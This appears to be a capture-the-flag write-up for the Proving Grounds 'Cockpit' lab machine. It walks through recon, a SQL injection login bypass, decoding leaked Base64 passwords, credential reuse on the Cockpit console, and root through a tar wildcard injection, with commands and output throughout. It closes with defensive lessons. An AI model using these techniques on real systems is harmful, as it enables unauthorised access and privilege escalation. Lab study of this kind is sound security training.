the_open_door
coffee
ESEN

Cockpit

Proving Grounds PracticeMediumLinux192.168.118.103 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#sqli#auth-bypass#base64#password-reuse#credential-disclosure#cockpit#tar#wildcard#sudo#oscp
TL;DR. Cockpit exposes a "blaze" web app on port 80 whose login is vulnerable to a SQLi authentication bypass ('or 1=1-- -): once in, a panel leaks two Base64-encoded passwords. Decoded, james's credentials work to log into the Cockpit web console on port 9090 (credential reuse), which gives a terminal as james. That user can run tar as root with a wildcard, so a tar wildcard injection yields root.

Recon#

Initial scan#

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.


ping -c 1 192.168.118.10
64 bytes from 192.168.118.10: icmp_seq=1 ttl=61 time=29.1 ms

We sweep all TCP ports and fingerprint versions on the open ones:


sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.118.10
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9090/tcp open  http

nmap -p22,80,9090 -sCV 192.168.118.10 -oN targetedScan
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-05 23:09 UTC
Nmap scan report for 192.168.118.10 (192.168.118.10)
Host is up (0.029s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: blaze
|_http-server-header: Apache/2.4.41 (Ubuntu)
9090/tcp open  http    Cockpit web service 198 - 220
|_http-title: Did not follow redirect to https://192.168.118.10:9090/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.86 seconds

Two web surfaces: a "blaze" site on 80 and, on 9090, Cockpit, the Linux systems administration console (the one the machine is named after). Cockpit includes, among other things, an in-browser terminal, so valid credentials there are equivalent to a shell.

HTTP - TCP 80#

We enumerate routes on the port-80 site:


dirsearch -u http://192.168.118.10/ --exclude-status=403,404,503
301 - /js  ->  /js/
301 - /css ->  /css/
301 - /img ->  /img/
200 - /login.php
302 - /logout.php  ->  login.php

There's a login.php with a sign-in form. That's the first target.

Auth as james (credentials)#

SQLi authentication bypass#

The "blaze" form doesn't sanitize input: a classic payload in the username field forces an always-true condition and comments out the rest of the query, bypassing the password check:

'or 1=1-- -

blaze login at login.php with the payload 'or 1=1-- - in the username field

The login lets us through to an internal panel (password-dashboard.php) listing users and passwords, but the passwords are Base64-encoded:

blaze Admin Dashboard showing james and cameron with their Base64 passwords

james   -> Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=
cameron -> dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy

Base64 isn't encryption, just encoding: we decode it instantly:


echo -n 'Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=' | base64 -d
canttouchhhthiss@455152

echo -n 'dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy' | base64 -d
thisscanttbetouchedd@455152

We have two credential pairs: james:canttouchhhthiss@455152 and cameron:thisscanttbetouchedd@455152.

Shell as james#

Cockpit on 9090: in-browser terminal#

Cockpit (port 9090, HTTPS) authenticates against the system's real users. We try reusing the leaked credentials: james logs in, and we tick "Reuse my password for privileged tasks" so the session keeps the password for sudo:

Cockpit login (Ubuntu 20.04.6 LTS) as james with the Reuse my password for privileged tasks box ticked

Cockpit offers an integrated terminal under Terminal, giving us command execution as james. First thing, check sudo:


whoami
id
sudo -l
james@blaze:~$ whoami
james
james@blaze:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@blaze:~$ sudo -l
Matching Defaults entries for james on blaze:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on blaze:
    (ALL) NOPASSWD: /usr/bin/tar -czvf /tmp/backup.tar.gz *
james@blaze:~$

The user flag is reachable at /home/james/local.txt (visible below, next to the shell we'll spawn). The real prize is that sudo entry.

Privilege escalation#

sudo tar wildcard injection#

The rule allows running tar as root with a trailing wildcard *. The shell expands that * to the directory's file list before launching tar, so any file whose name looks like a tar option is treated as an argument. We create files that turn into the --checkpoint and --checkpoint-action=exec=... options (tar wildcard injection, one case of wildcard abuse) so tar runs a script of ours:


echo "" > "--checkpoint-action=exec=sh payload.sh"
echo "" > "--checkpoint=1"
echo "/bin/bash" > payload.sh
chmod +x payload.sh
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *

When the wildcard expands, tar receives --checkpoint=1 and the checkpoint action: at the first checkpoint it runs payload.sh and, since it runs as root, we get a root shell:

james@blaze:~$ echo "" > "--checkpoint-action=exec=sh payload.sh"
james@blaze:~$ echo "" > "--checkpoint=1"
james@blaze:~$ echo "/bin/bash" > payload.sh
james@blaze:~$ chmod +x payload.sh
james@blaze:~$ sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *
 - checkpoint=1
 - checkpoint-action=exec=sh payload.sh
local.txt
payload.sh
root@blaze:/home/james# whoami
root

We read the final proof:


cat /root/proof.txt && hostname && whoami && ip a
61a96870a639d7d2817e3e00a44bb67b
blaze
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:6e:9c brd ff:ff:ff:ff:ff:ff
    inet 192.168.118.10/24 brd 192.168.118.255 scope global noprefixroute ens160
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe9e:6e9c/64 scope link
       valid_lft forever preferred_lft forever

Attack chain#

blaze web (TCP 80)  -- login.php
        │  SQLi 'or 1=1-- -  ──  password-dashboard.php
        │  Base64 -> james:canttouchhhthiss@455152
        ▼
Cockpit (TCP 9090)  -- credential reuse (james)
        │  in-browser terminal
        ▼
shell as james
        │  sudo NOPASSWD /usr/bin/tar ... *  ──  wildcard injection (--checkpoint-action)
        ▼
shell as root  (proof.txt)

Lessons learned#

  • A weak login panel is the whole door. 'or 1=1-- - isn't elegant, but a form without parameterized queries is bypassed with a single request. The defense is always the same: prepared statements, never concatenate input into SQL.
  • Base64 protects nothing. Storing "encoded" passwords gives a false sense of security: it's instantly reversible. If the data is sensitive, it shouldn't be there in the first place.
  • Credential reuse chains the two surfaces. The web panel's credentials worked for Cockpit, which authenticates against system users. Per-service credentials would have broken the pivot.
  • Beware wildcards in sudoers. tar ... * looks harmless, but shell expansion turns file names into options. Pinning full paths and arguments (no *) closes this whole family of abuses.
Command cheatsheet 10 commands

Quick review